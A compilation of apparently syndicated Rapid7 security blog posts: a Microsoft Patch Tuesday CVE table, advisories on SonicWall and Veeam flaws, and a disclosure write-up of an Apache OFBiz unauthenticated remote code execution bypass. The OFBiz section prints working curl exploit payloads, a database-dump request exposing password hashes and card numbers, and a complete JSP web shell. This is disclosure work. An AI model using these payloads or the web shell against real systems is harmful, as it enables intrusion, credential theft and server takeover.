CVE-2024-43465 Microsoft Excel Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43492 Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38226 Microsoft Publisher Security Feature Bypass Vulnerability Yes No 7.3
CVE-2024-43464 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.2
CVE-2024-38227 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.2
CVE-2024-38228 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.2
CVE-2024-43466 Microsoft SharePoint Server Denial of Service Vulnerability No No 6.5
CVE-2024-43482 Microsoft Outlook for iOS Information Disclosure Vulnerability No No 6.5

SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-37338 Microsoft SQL Server Native Scoring Remote Code Execution Vulnerability No No 8.8
CVE-2024-37335 Microsoft SQL Server Native Scoring Remote Code Execution Vulnerability No No 8.8
CVE-2024-37340 Microsoft SQL Server Native Scoring Remote Code Execution Vulnerability No No 8.8
CVE-2024-37339 Microsoft SQL Server Native Scoring Remote Code Execution Vulnerability No No 8.8
CVE-2024-26186 Microsoft SQL Server Native Scoring Remote Code Execution Vulnerability No No 8.8
CVE-2024-26191 Microsoft SQL Server Native Scoring Remote Code Execution Vulnerability No No 8.8
CVE-2024-37965 Microsoft SQL Server Elevation of Privilege Vulnerability No No 8.8
CVE-2024-37341 Microsoft SQL Server Elevation of Privilege Vulnerability No No 8.8
CVE-2024-37980 Microsoft SQL Server Elevation of Privilege Vulnerability No No 8.8
CVE-2024-43474 Microsoft SQL Server Information Disclosure Vulnerability No No 7.6
CVE-2024-37966 Microsoft SQL Server Native Scoring Information Disclosure Vulnerability No No 7.1
CVE-2024-37337 Microsoft SQL Server Native Scoring Information Disclosure Vulnerability No No 7.1
CVE-2024-37342 Microsoft SQL Server Native Scoring Information Disclosure Vulnerability No No 7.1

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43491 Microsoft Windows Update Remote Code Execution Vulnerability Yes No 9.8
CVE-2024-38259 Microsoft Management Console Remote Code Execution Vulnerability No No 8.8
CVE-2024-21416 Windows TCP/IP Remote Code Execution Vulnerability No No 8.1
CVE-2024-38045 Windows TCP/IP Remote Code Execution Vulnerability No No 8.1
CVE-2024-38252 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38253 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43457 Windows Setup and Deployment Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38046 PowerShell Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38237 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38241 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38242 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38238 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38243 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38244 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43458 Windows Networking Information Disclosure Vulnerability No No 7.7
CVE-2024-38232 Windows Networking Denial of Service Vulnerability No No 7.5
CVE-2024-38233 Windows Networking Denial of Service Vulnerability No No 7.5
CVE-2024-38119 Windows Network Address Translation (NAT) Remote Code Execution Vulnerability No No 7.5
CVE-2024-38257 Microsoft AllJoyn API Information Disclosure Vulnerability No No 7.5
CVE-2024-43495 Windows libarchive Remote Code Execution Vulnerability No No 7.3
CVE-2024-38248 Windows Storage Elevation of Privilege Vulnerability No No 7
CVE-2024-38246 Win32k Elevation of Privilege Vulnerability No No 7
CVE-2024-38235 Windows Hyper-V Denial of Service Vulnerability No No 6.5
CVE-2024-38254 Windows Authentication Information Disclosure Vulnerability No No 5.5

CVE-2024-40766: Critical Improper Access Control Vulnerability Affecting SonicWall Devices

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/09/09/etr-cve-2024-40766-critical-improper-access-control-vulnerability-affecting-sonicwall-devices/

CVE-2024-40766: Critical Improper Access Control Vulnerability Affecting SonicWall Devices

On August 22, 2024, security firm SonicWall published an advisory on CVE-2024-40766, a critical improper access control vulnerability affecting SonicOS, the operating system that runs on the company’s physical and virtual firewalls. While CVE-2024-40766 was not known to be exploited in the wild at the time it was initially disclosed, the SonicWall advisory was later updated to note that “this vulnerability is potentially being exploited in the wild.”

As of September 9, 2024, Rapid7 is aware of several recent incidents (both external and Rapid7-observed) in which SonicWall SSLVPN accounts were targeted or compromised, including by ransomware groups; evidence linking CVE-2024-40766 to these incidents is still circumstantial, but given adversary interest in the software in general, Rapid7 strongly recommends remediating on an emergency basis. Vulnerabilities like CVE-2024-40766 are frequently used for initial access to victim environments.

SonicWall’s advisory indicates CVE-2024-40766 is an improper access control vulnerability “in the SonicWall SonicOS management access and SSLVPN, potentially leading to unauthorized resource access and in specific conditions, causing the firewall to crash.” The vulnerability was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV) on September 9, 2024.

Mitigation guidance

Per the vendor advisory, CVE-2024-40766 affects SonicWall Gen 5 and Gen 6 devices, as well as Gen 7 devices running SonicOS 7.0.1-5035 and older versions.

Affected versions and platforms include:

  • SOHO (Gen 5): 5.9.2.14-12o and older versions affected
  • Gen6 Firewalls: 6.5.4.14-109n and older versions affected (see the advisory for a full list of affected devices)
  • Gen7 Firewalls: SonicOS build version 7.0.1-5035 and older versions affected, but SonicWall recommends installing the latest firmware (see the advisory for a full list of affected devices)

SonicWall recommends restricting firewall management access to trusted sources and/or ensuring firewall WAN management is not accessible from the public internet. They similarly recommend that SSLVPN access is limited to trusted sources, and/or disabling SSLVPN access from the internet.

Rapid7 customers

Our InsightVM engineering team is investigating options for coverage of CVE-2024-40766. We will update this blog with further information no later than 10 AM ET on Tuesday, September 10.

Multiple Vulnerabilities in Veeam Backup & Replication

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/09/09/etr-multiple-vulnerabilities-in-veeam-backup-and-replication/

Multiple Vulnerabilities in Veeam Backup & Replication

On Wednesday, September 4, 2024, backup and recovery software provider Veeam released their September security bulletin disclosing various vulnerabilities in Veeam products. One of the higher-severity vulnerabilities included in the bulletin is CVE-2024-40711, a critical unauthenticated remote code execution issue affecting Veeam’s popular Backup & Replication solution. Notably, upon initial disclosure, the Veeam advisory listed the CVSS score for CVE-2024-40711 as “high” rather than “critical” — as of Monday, September 9, however, the CVSS score is listed as 9.8, which confirms exploitation is fully unauthenticated.

Five other CVEs were also disclosed in Backup & Replication, including several that allow users who have been assigned low-privileged roles to alter multi-factor authentication (MFA) settings, achieve remote code execution as a service account, and extract sensitive data (e.g., credentials, passwords). Other vulnerabilities in the bulletin affect additional Veeam offerings — notably, there are also two critical vulnerabilities in Veeam Service Provider Console.

While CVE-2024-40711 has received attention from security media and community members, we are not aware of any known exploitation as of Monday, September 9, 2024. Veeam Backup & Replication has a large deployment footprint, however, and several previous vulnerabilities affecting the software have been exploited in the wild, including by ransomware groups. It is possible that one or more of these vulnerabilities may be used to facilitate extortion attacks. More than 20% of Rapid7 incident response cases in 2024 so far have involved Veeam being accessed or exploited in some manner, typically once an adversary has already established a foothold in the target environment.

Mitigation guidance

The following vulnerabilities affect Veeam Backup & Replication 12.1.2.172 and all earlier version 12 builds, per the vendor advisory:

  • CVE-2024-40711: Unauthenticated remote code execution (CVSS 9.8)
  • CVE-2024-40713: Allows a low-privileged user to alter MFA settings and bypass MFA (CVSS 8.8)
  • CVE-2024-40710: Covers multiple issues, per the advisory, including one that allows for remote code execution as the service account and enables extraction of saved credentials and passwords (CVSS 8.8)
  • CVE-2024-39718: Allows a low-privileged user to remotely remove files on the system with permissions equivalent to those of the service account (CVSS 8.1)
  • CVE-2024-40714: A vulnerability in TLS certificate validation allows an attacker on the same network to intercept sensitive credentials during restore operations (CVSS 8.3)
  • CVE-2024-40712: A path traversal vulnerability allows an attacker with a low-privileged account and local access to the system to perform local privilege escalation (CVSS 7.8)

Veeam Backup & Replication customers should update to the latest version of the software (12.2 build 12.2.0.334) immediately, without waiting for a regular patch cycle to occur. Unsupported software versions were not tested but, per the vendor, should be considered vulnerable.

Other CVEs in Veeam’s September 4 security bulletin affect Veeam Agent for Linux, Veeam ONE, Veeam Service Provider Console, Veeam Backup for Nutanix AHV, and Veeam Backup for Oracle Linux Virtualization Manager and Red Hat Virtualization.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to the Veeam Backup & Replication CVEs listed in this blog with vulnerability checks expected to be available in today’s (Monday, September 9) content release.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server. Exploitation is facilitated by bypassing previous patches for CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.

Product Description

Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. The software has features for accounting, catalog and supply chain management, storing payment information, and more. Apache OFBiz is used by numerous large organizations, and previously disclosed vulnerabilities for it have seen exploitation in the wild.

Credit

This issue was reported to the Apache OFBiz team by Ryan Emmons, Lead Security Researcher at Rapid7, as well as by several other researchers. The vulnerability is being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Apache OFBiz open-source community developers for their assistance and collaboration on this issue.

Vulnerability Context

A handful of unauthenticated code execution CVEs for Apache OFBiz have been published in 2024. In August, the Cybersecurity and Infrastructure Security Agency added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, three of these vulnerabilities are, essentially, the same vulnerability with the same root cause. Since the patch bypass we are disclosing today elaborates on those previous disclosures, we’ll outline them now.

CVE-2024-32113

The first vulnerability in this sequence, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.

As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.

An authenticated administrator view map called “ProgramExport” will execute Groovy scripts, and this view map can be leveraged to execute arbitrary code without authentication. An example payload for this vulnerability, which uses path traversal to fragment the controller-view map state, is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

The OFBiz Jira issue for the vulnerability has the description “Some URLs need to be rejected before they create problems”, which is how a fix was implemented. The remediation changes included code that attempted to normalize URLs before resolving the controller and the view map being fetched. That patch was released as v18.12.13.

CVE-2024-36104

The second CVE entry in this sequence, CVE-2024-36104 was published on June 4, 2024. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. Though the patch is made up of multiple commits, the bulk of the remediation was implemented in bc856f46f8, with the following code added to remove semicolons and URL-encoded periods from the URI.

                    String uRIFiltered = new URI(initialURI)
                            .normalize().toString()
                            .replaceAll(";", "")
                            .replaceAll("(?i)%2e", "");
                    if (!initialURI.equals(uRIFiltered)) {
                        Debug.logError("For security reason this URL is not accepted", MODULE);
                        throw new RuntimeException("For security reason this URL is not accepted");

This CVE was patched in v18.12.14.

Two different example payloads for this vulnerability are shown below, one for each of the sequences stripped by the implemented fix. Both of these payloads also work against OFBiz installations affected by the previous CVE-2024-32113, since the vulnerability has the same root cause.

curl 'https://target:8443/webtools/control/forgotPassword/;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
curl 'https://target:8443/webtools/control/forgotPassword/%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

CVE-2024-38856

The third vulnerability in this sequence, CVE-2024-38856, was published on August 5, 2024. This time, the vulnerability was described as an incorrect authorization issue. The CVE’s description states “Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don’t explicitly check user’s permissions because they rely on the configuration of their endpoints).” This more accurately describes the issue. As we’ll see in a moment, it also indicates the approach taken for the fix this time.

SonicWall’s research team, who reported the vulnerability to the OFBiz team, published an excellent blog post that nicely explains the root cause and focuses on the controller-view map state fragmentation, rather than just the method used to trigger it. Amazingly, their blog post reports that a traversal or semicolon sequence was never needed at all! A request to a path like /webtools/control/forgotPassword/ProgramExport would result in the controller being set to “forgotPassword” and the view map being set to “ProgramExport”.

An example payload for this vulnerability is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k

This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, since the root cause is the same for all three.

The OFBiz Jira issue for this vulnerability is titled “Add permission check for ProgramExport and EntitySQLProcessor”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport and EntitySQLProcessor, two view maps targeted by previous exploits. The three lines below were added to both Groovy files associated with those view maps, effectively preventing access to them without authentication.

if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
    return
}

As a result, both exploit techniques were no longer viable. However, the underlying problem, the ability to fragment the controller-view map state, was not resolved by the v18.12.15 patch.

Exploitation

To recap, all three of the previous vulnerabilities were caused by the same shared underlying issue, the ability to desynchronize the controller and view map state. That flaw was not fully addressed by any of the patches. At the time of our research, the requestUri and overrideViewUri variables could still be desynchronized in the manner described in the SonicWall blog post, albeit not to reach ProgramExport or EntitySQLProcessor. Our testing target was v18.12.15, the latest version available at the time of research.

The framework/webtools/widget/EntityScreens.xml file defines some EntityScreens that might be leveraged by an attacker.

$ grep 'script' framework/webtools/widget/EntityScreens.xml
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntitySQLProcessor.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ProgramExport.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityMaint.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/FindGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewRelations.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRef.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRefList.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/CheckDb.groovy"/>
                <script location="component://webtools/src/test/groovy/org/apache/ofbizwebtools/entity/EntityPerformanceTest.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/XmlDsDump.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ModelInduceFromDb.groovy"/>
[..SNIP..]

We can’t useProgramExport or EntitySQLProcessor this time, since authorization checks are now enforced. However, an attacker can leverage another view to exploit the application without authentication. A screenshot of the XML Data Export admin dashboard feature for one possible Groovy view screen option, XmlDsDump, is below.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

As shown above, the XmlDsDump view can be used to query the database for virtually any stored data and write the resulting data to an arbitrarily named file anywhere on disk. Notably, the affiliated Groovy script XmlDsDump.groovy does not enforce authorization checks.

As a proof of concept, we’ll try to desynchronize the controller-view map state to access the “dump” view without authentication. The following cURL request will attempt to dump all usernames, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.

curl 'https://target:8443/webtools/control/forgotPassword/xmldsdump' -d "outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard" -k

Watching the request in a debugger confirms that the requestUri and overrideViewUri value confusion is still possible in RequestHandler.java. This is depicted in the screenshot below, where our cURL request has resulted in requestUri being set to the unauthenticated endpoint and overrideViewUri being set to the authenticated view.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

After the request completes, a second unauthenticated cURL request confirms that the operation completed successfully.

$ curl 'https://target:8443/common/stolen.txt' -k
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
    <CreditCard paymentMethodId="AMEX_01" cardType="CCT_AMERICANEXPRESS" cardNumber="378282246310005" expireDate="02/2100" companyNameOnCard="Your Company Name" firstNameOnCard="Smart" lastNameOnCard="Guy" contactMechId="9000" lastUpdatedStamp="2024-08-15 23:31:30.077" lastUpdatedTxStamp="2024-08-15 23:31:28.811" createdStamp="2024-08-15 23:31:30.077" createdTxStamp="2024-08-15 23:31:28.811"/>
    <CreditCard paymentMethodId="9015" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="DEMO" lastNameOnCard="CUSTOMER" contactMechId="9015" lastUpdatedStamp="2024-08-15 23:31:48.815" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.815" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="EUROCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="EURO" lastNameOnCard="CUSTOMER" contactMechId="EUROCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.898" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.898" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="FRENCHCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="FRENCH" lastNameOnCard="CUSTOMER" contactMechId="FRENCHCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.967" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.967" createdTxStamp="2024-08-15 23:31:36.309"/>
    <UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2024-08-15 23:31:10.984" lastUpdatedTxStamp="2024-08-15 23:31:10.9" createdStamp="2024-08-15 23:31:06.603" createdTxStamp="2024-08-15 23:31:06.515" partyId="system"/>
    <UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2024-08-15 23:31:06.637" lastUpdatedTxStamp="2024-08-15 23:31:06.515" createdStamp="2024-08-15 23:31:06.637" createdTxStamp="2024-08-15 23:31:06.515"/>
    <UserLogin userLoginId="admin" currentPassword="{SHA}47b56992cbc2b6d10aa1be30f20165adb305a41a" enabled="Y" lastTimeZone="America/Chicago" successiveFailedLogins="2" lastUpdatedStamp="2024-08-16 01:12:07.386" lastUpdatedTxStamp="2024-08-16 01:12:07.386" createdStamp="2024-08-15 23:31:25.561" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="flexadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.341" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.564" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="demoadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.342" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.565" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="ltdadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.343" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.566" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin"/>
    <UserLogin userLoginId="ltdadmin1" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.344" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.567" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin1"/>
    <UserLogin userLoginId="bizadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.345" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.568" createdTxStamp="2024-08-15 23:31:25.556" partyId="bizadmin"/>
[..SNIP..]

The password hashes and credit card numbers have been written to an accessible file in the web root, demonstrating exploitation via patch bypass. It’s likely that cracking a user password hash would succeed in a real-world attack, since the password hashing algorithm is a weak one. However, to avoid having to crack any hashes, we also leveraged the vulnerability to achieve remote code execution.

Within controller.xml, a view map called viewdatafile is defined at [0].

[..SNIP..]
    <view-map name="xmldsdump" type="screen" page="component://webtools/widget/EntityScreens.xml#xmldsdump"/>
    <view-map name="xmldsrawdump" page="template/entity/xmldsrawdump.jsp"/>

    <view-map name="FindUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCache"/>
    <view-map name="FindUtilCacheElements" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCacheElements"/>
    <view-map name="EditUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#EditUtilCache"/>

    <view-map name="viewdatafile" type="screen" page="component://webtools/widget/MiscScreens.xml#viewdatafile"/> [0]

    <view-map name="LogConfiguration" type="screen" page="component://webtools/widget/LogScreens.xml#LogConfiguration"/>
    <view-map name="LogView" type="screen" page="component://webtools/widget/LogScreens.xml#LogView"/>
    <view-map name="FetchLogs" type="screen" page="component://webtools/widget/LogScreens.xml#FetchLogs"/>
[..SNIP..]

Within framework/webtools/widget/MiscScreens.xml, viewdatafile is associated with the script ViewDataFile.groovy (at [1]).

[..SNIP..]
    <screen name="viewdatafile">
        <section>
            <actions>
                <set field="headerItem" value="main"/>
                <set field="titleProperty" value="WebtoolsDataFileMainTitle"/>
                <set field="tabButtonItem" value="data"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/datafile/ViewDataFile.groovy"/> [1]
            </actions>
            <widgets>
                <decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
                    <decorator-section name="body">
                        <screenlet>
                            <platform-specific><html><html-template location="component://webtools/template/datafile/ViewDataFile.ftl"/></html></platform-specific>
                        </screenlet>
                    </decorator-section>
                </decorator-screen>
            </widgets>
        </section>
    </screen>
[..SNIP..]

That script is below. It checks for various request parameters (starting at [2]) to perform file operations. At [3], if DATAFILE_SAVE is present and a datafile was parsed, the datafile contents will be written to the disk location specified by DATAFILE_SAVE.

package org.apache.ofbiz.webtools.datafile

import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader

uiLabelMap = UtilProperties.getResourceBundleMap('WebtoolsUiLabels', locale)
messages = []

dataFileSave = request.getParameter('DATAFILE_SAVE') [2]

entityXmlFileSave = request.getParameter('ENTITYXML_FILE_SAVE')

dataFileLoc = request.getParameter('DATAFILE_LOCATION')
definitionLoc = request.getParameter('DEFINITION_LOCATION')
definitionName = request.getParameter('DEFINITION_NAME')
dataFileIsUrl = null != request.getParameter('DATAFILE_IS_URL')
definitionIsUrl = null != request.getParameter('DEFINITION_IS_URL')

try {
    dataFileUrl = dataFileIsUrl ? UtilURL.fromUrlString(dataFileLoc) : UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

try {
    definitionUrl = definitionIsUrl ? UtilURL.fromUrlString(definitionLoc) : UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

definitionNames = null
if (definitionUrl) {
    try {
        ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
        if (reader) {
            definitionNames = ((Collection)reader.getDataFileNames()).iterator()
            context.put('definitionNames', definitionNames)
        }
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
    try {
        dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
        context.put('dataFile', dataFile)
    }
    catch (Exception e) {
        messages.add(e.toString()); Debug.log(e)
    }
}

if (dataFile) {
    modelDataFile = dataFile.getModelDataFile()
    context.put('modelDataFile', modelDataFile)
}

if (dataFile && dataFileSave) { [3]
    try {
        dataFile.writeDataFile(dataFileSave)
        messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

if (dataFile && entityXmlFileSave) {
    try {
        //dataFile.writeDataFile(entityXmlFileSave)
        DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
        messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}
context.messages = messages

Apache OFBiz also ships with some example data files in datafiles.adoc. An excerpt of that text is included below.

[..SNIP..]
== Examples

=== Sample fixed width CSV file posreport.csv to be imported:
.An example of fixed width flat file import.
[source,csv]

021196033702    ,5031BB GLITTER GLUE PENS BRIGH  ,1           ,5031BB      ,       1,     299,
021196043121    ,BB4312 WONDERFOAM ASSORTED      ,1           ,BB4312      ,       1,     280,
021196055025    ,9905BB  PLUMAGE MULTICOLOURED   ,1           ,9905BB      ,       4,     396,

=== Sample xml definition file for importing select columns
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="posreport" separator-style="fixed-length" type-code="text">
            <record name="tillentry" limit="many">
                <field name="tillCode" type="String" length="16" position="0"></field>
                <field name="name" type="String" length="32" position="17"></field>
                <field name="prodCode" type="String" length="12" position="63"></field>
                <field name="quantity" type="String" length="8" position="76"></field>
                <field name="totalPrice" type="String" length="8" position="85"></field>
            </record>
        </data-file>
    </data-files>

.Another example reading fixed record little endian binary files
[source, xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="stockdata" separator-style="fixed-record" type-code="text" record-length="768">
            <record name="stockdataitem" limit="many">
                <field name="barcode" type="NullTerminatedString" length="12" position="0"></field>
                <field name="prodCode" type="NullTerminatedString" length="12" position="68"></field>
                <field name="price" type="LEInteger" length="4" position="80"></field>
                <field name="name" type="NullTerminatedString" length="30" position="16"></field>
            </record>
        </data-file>
    </data-files>

=== Procedure:
In the interface enter something like:

. Definition Filename or URL: posschema.xml
. Data File Definition Name: posreport
. Data Filename or URL: posreport.csv

This information is very helpful for contextualizing what we learned from the Groovy script. We’ll need to provide an XML definition file location, a data file XML definition name, a CSV data file location, and a file path to save the extracted data from the CSV. We’ll also need to specify that both our definition file location and CSV location are remote URLs, which we can do via the DEFINITION_IS_URL and DATAFILE_IS_URL parameters.

Below is our malicious definition file, rceschema.xml. We define a “jsp” String field within a record in the datafile. In the XML, this represents our JSP web shell that will be written to the web root.

$ cat rceschema.xml
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
    </data-files>

Next, we’ll need a CSV containing a single line with a single value, our JSP web shell. This value is 605 characters long, as indicated in our XML definition. Since we’re injecting our payload into a CSV context, we’ll build a string in the JSP to avoid any commas, and we’ll delimit the payload with a comma.

$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

Lastly, we’ll start a Python web server listening on port 80 of our attack machine, then perform a cURL request to exploit the vulnerability.

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

